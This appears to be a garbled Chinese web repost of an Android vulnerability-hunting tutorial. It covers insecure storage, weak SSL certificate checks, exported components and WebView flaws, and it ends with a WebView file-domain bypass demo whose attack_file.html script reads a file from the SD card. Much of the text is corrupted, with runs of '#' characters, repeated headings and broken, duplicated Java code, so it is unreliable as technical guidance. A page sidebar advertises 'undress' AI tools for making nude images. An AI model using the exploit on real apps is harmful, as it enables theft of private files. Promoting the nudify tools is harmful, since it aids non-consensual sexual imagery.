基本知識Android架構
Kernel核心層
漏洞危害極大,通用性強
驅動由於多而雜,也可能存在不少漏洞Libaries系統運行庫層
#系統中間件形式提供的運作庫
包括libc、 WebKit、SQLite等等AndroidRunTime
Dalvik虛擬機器和核心庫- ##FrameWork應用框架層
提供一連串的服務和API的介面
- 活動管理器
- 內容提供者
- #檢視
- 資源管理器
- #通知管理員
- Application應用程式層
- 系統應用程式
主畫面Home、聯絡人Contact、電話Phone、瀏覽器Browser
- #其他應用
開發者使用應用程式框架層的API實作的程式
- Acitivity活動
- Service服務
- BroadcastRecviver廣播接收器
- ContentProvider內容提供者
- 概述
平台功能的濫用,或未能使用平台的安全控制。如Intent誤用、權限誤用等
- 風險
很廣泛,可能涉及行動平台各服務
##舉例
iOS系統中,將密碼資料存放在本機檔案而沒有存放在金鑰鏈中,導致可以從偽加密的備份資料中讀取
Android系統中,Intent使用不當導致惡意使用者劫持修改intent的內容,以原始進程的身份權限執行任意動作不安全的資料儲存
不安全的通訊
典型漏洞及挖掘方法資料儲存漏洞
資料檔或目錄
明文儲存
MODE_PRIVATE
#明文儲存
#建立資料庫時沒有使用MODE_PRIVATE模式
建立設定檔時沒有使用MODE_PRIVATE模式,導致其他程式可以讀取設定檔
明文存儲,而root用戶可讀,導致敏感資料外洩
SharedPreferences
data/data/程式包名/shared_prefs/*.xml-
#SQLiteDatabases
data/data程式包名/database/*.db -
#InternalStorage
#data/data/程式報名/files/* ExternalStorage
/mnt/sdcard/*
#檢測方法- 瀏覽/data/data/套件名稱目錄下的各個檔案和目錄,檢查是否有others使用者可讀的檔案
-
挖掘方法 -
程式碼偵測 檢查openFileOutput、getSharedPrefreences、openOrCreateDatabase等函數的mode參數是否為MODE_PRIVATE(0x0000)
-
##資料通訊漏洞
- 使用HTTP等明文協定將敏感資訊傳送至服務端
透過區域網路嗅探、惡意公用WIFI、惡意代理服務、DNS劫持等手段擷取明文通信,產生中間人攻擊
-
SSL憑證弱校驗 搜尋.method public checkServerTrusted
定位.method和end method-
檢查是否有return-void
同理檢查verify(String, SSLSession)的回傳值是否恆為True、X509HostnameVerifier的參數是否為ALLOW_ALLHOSTNAME_VERIFIER## #############開啟Fiddler的HTTPS解析功能,產生並匯出自簽名證書,安裝到手機中############開啟Fiddler代理,並允許遠端主機連接該代理###############APP中缺乏SSL憑證的校驗 ###客戶端中應該實作X509TruestManager類,包括checkServerTrusted\checkClientTrusted\getInstance三個方法## ##########憑證校驗失敗會導致異常,然後由應用程式對憑證校驗異常進行處理#############未對伺服器憑證校驗會導致TLS中間人攻擊 ###使用HttpsURLConnection時,實作自訂HostnameVerifier過程中未對主機名稱做驗證,則預設不檢查憑證網域名稱與網站名稱是否相符。或是設定HttpsURLConnection的HostnameVerifier時,將其設為ALLOW_ALL_HOSTNAME_VERIIER則接受所有網域.############攻擊方法########################攻擊方法########################攻擊方法########################攻擊方法################ 挖礦方法# ####################SSL憑證強校驗 ###可能透過Xp、Patch等方法繞過############
元件暴露漏洞
Android:exported是四大元件中都有的屬性,用來表示是否支援其他應用程式呼叫目前元件
如果有intent-filter,預設值為true;反之預設則為false
exported匯出元件的權限控制
-
-
activity暴露後被第三方調用,可能在沒有密碼的情況下登入/重設密碼
敏感資訊外洩
-
#recviver暴露後被第三方啟動,可能會查看到偵錯等信息中所包含的敏感資訊
#越權行為
權限程式透過呼叫高權限程式暴露的元件,執行高權限動作
- ##查看AndroidManifest.xml
- 弱加密漏洞
- 反編譯、root檢視等可以取得
- AES/DES弱加密
ECB模式容易受到分析或重播攻擊
主要包含三種漏洞:
編寫遍歷物件的網頁,如果存在getClass方法則存在遠端程式碼執行漏洞
fiddler的before腳本可以讓任意webview存取任意網頁時進行測試
Android4.2以後,透過addJavascriptInterface註解的方法可被網頁中的java方法呼叫。如果未加過濾則可能存在漏洞挖掘方法:
網域控制不嚴格
- #任意程式碼執行
- setAllowFileAccessFromFileURLs
#setAllowUniversalAccessFromFileURLs(導致遠端洩漏敏感資訊) 透過符號連結攻擊可以存取本機檔案:無論怎麼限制,js都能存取本檔案的。而透過延時執行和將目前檔案替換成指向指向其他檔案的軟連線就可以讀取到被符號連結所指向的檔案
WebView如果開啟了對JavaScript的支持,同時未對file:///形式的URL做限制,則會導致coookie、私有檔案、資料庫等敏感資訊外洩-
具有root權限的攻擊者可以讀取
##密碼明文儲存
當使用者選擇儲存在WebViEW中輸入的使用者名稱和密碼時,則會被明文儲存到app目錄下的data.db中 - 漏洞挖掘流程總結
- 靜態分析 快速偵測,取得分析重點目標
檢查AndroidManifest檔案
調試模式分析
- 對疑似風險進行驗證和危害評估
drozer 抓包分析資料及介面
反分析
加密破解以及對邏輯和程式碼的進一步分析 #-
#自動化輔助系統
###MobSF 包含前端web介面,############Marvin 包含前端web介面,部署麻煩############Inspeckage Xposed外掛##################今天我們就來講WebView 的漏洞##### ##[Java] 純文字檢視 複製程式碼######?######範例程式碼位址:https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo。 ######或是我的github:https://github.com/MaxSecret/AppVulnerability/tree/master/WebViewFileDemo1#########程式碼如下程式碼主要區別在於這次載入的attack_file. html######public class MainActivity extends Activity { ####### private WebView webView; ###### private Uri mUri; ###### private Uri mUri; #### mUrl1 = "file:///android_asset/html/attack_file.html"; ###### //String mUrl2 = "file:///android_asset/html/test.html"; ###### @ Override ###### protected void onCreate(Bundle savedInstanceState) { ###### super.onCreate(savedInstanceState); webView = (WebView) findViewById(R.id.webview); ###webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new JSInterface(), "jsInterface");
webView.getSettings().setAllowFileAccessFromFileURLs(true);
webView.setWebChromeClient(new WebChromeClient() {
@Override #View ## String message,JsResult result) {
# //此處必要的功能
return super.onJsAlert ## });
webView.loadUrl(mUrl1);
}
## 類別 JSInterface { public String onButtonClick(String text) {# public String onButtonClick(String.
runOnUiThread(new Runnable() {
@O. # Log.e("leehong2", "onButtonClick: text = " str);
Toast.makeText(getApplicationContext(), "onButtonClick: text = " str, Toast.LTHlicationContext(), "onButtonClick: text }
# });
return " 此文字是從Java層傳回的。js text = " text;
}
public void onImageClick(String url, int width, int height) { width "高度=“高度;
Log.i("leehong2", str);
runOnUiThread(new Runnable() {
@O. # Toast.makeText(getApplicationContext(), str, Toast .LENGTH_LONG).show();
}
# });
}
}
}
這裡webView.getSettings().setAllowFileAccessFromFileURLs(true),表示可以透過javaScriptScript存取檔案檔案。
我們再看attack_file.html的程式碼:' functionstealFile() { var file = "file:///mnt/sdcard/233.txt"; var xmlHttpReq = new XMLHttpRequest(); xmlHttpReq.onreadystatechange = function(){ if(xmlHttpReq.readyState == 4){## xml.
}
}
xmlHttpReq.open("GET", file);
xmlHttpReq.send(null);
}
stealFile();
腳本>
以上是WebView File域同源策略繞過漏洞實例分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

熱AI工具

Undresser.AI Undress
人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool
免費脫衣圖片

Clothoff.io
AI脫衣器

AI Hentai Generator
免費產生 AI 無盡。

熱門文章

熱工具

DVWA
Damn Vulnerable Web App (DVWA) 是一個PHP/MySQL的Web應用程序,非常容易受到攻擊。它的主要目標是成為安全專業人員在合法環境中測試自己的技能和工具的輔助工具,幫助Web開發人員更好地理解保護網路應用程式的過程,並幫助教師/學生在課堂環境中教授/學習Web應用程式安全性。 DVWA的目標是透過簡單直接的介面練習一些最常見的Web漏洞,難度各不相同。請注意,該軟體中

SublimeText3漢化版
中文版,非常好用

MantisBT
Mantis是一個易於部署的基於Web的缺陷追蹤工具,用於幫助產品缺陷追蹤。它需要PHP、MySQL和一個Web伺服器。請查看我們的演示和託管服務。

SublimeText3 英文版
推薦:為Win版本,支援程式碼提示!

mPDF
mPDF是一個PHP庫,可以從UTF-8編碼的HTML產生PDF檔案。原作者Ian Back編寫mPDF以從他的網站上「即時」輸出PDF文件,並處理不同的語言。與原始腳本如HTML2FPDF相比,它的速度較慢,並且在使用Unicode字體時產生的檔案較大,但支援CSS樣式等,並進行了大量增強。支援幾乎所有語言,包括RTL(阿拉伯語和希伯來語)和CJK(中日韓)。支援嵌套的區塊級元素(如P、DIV),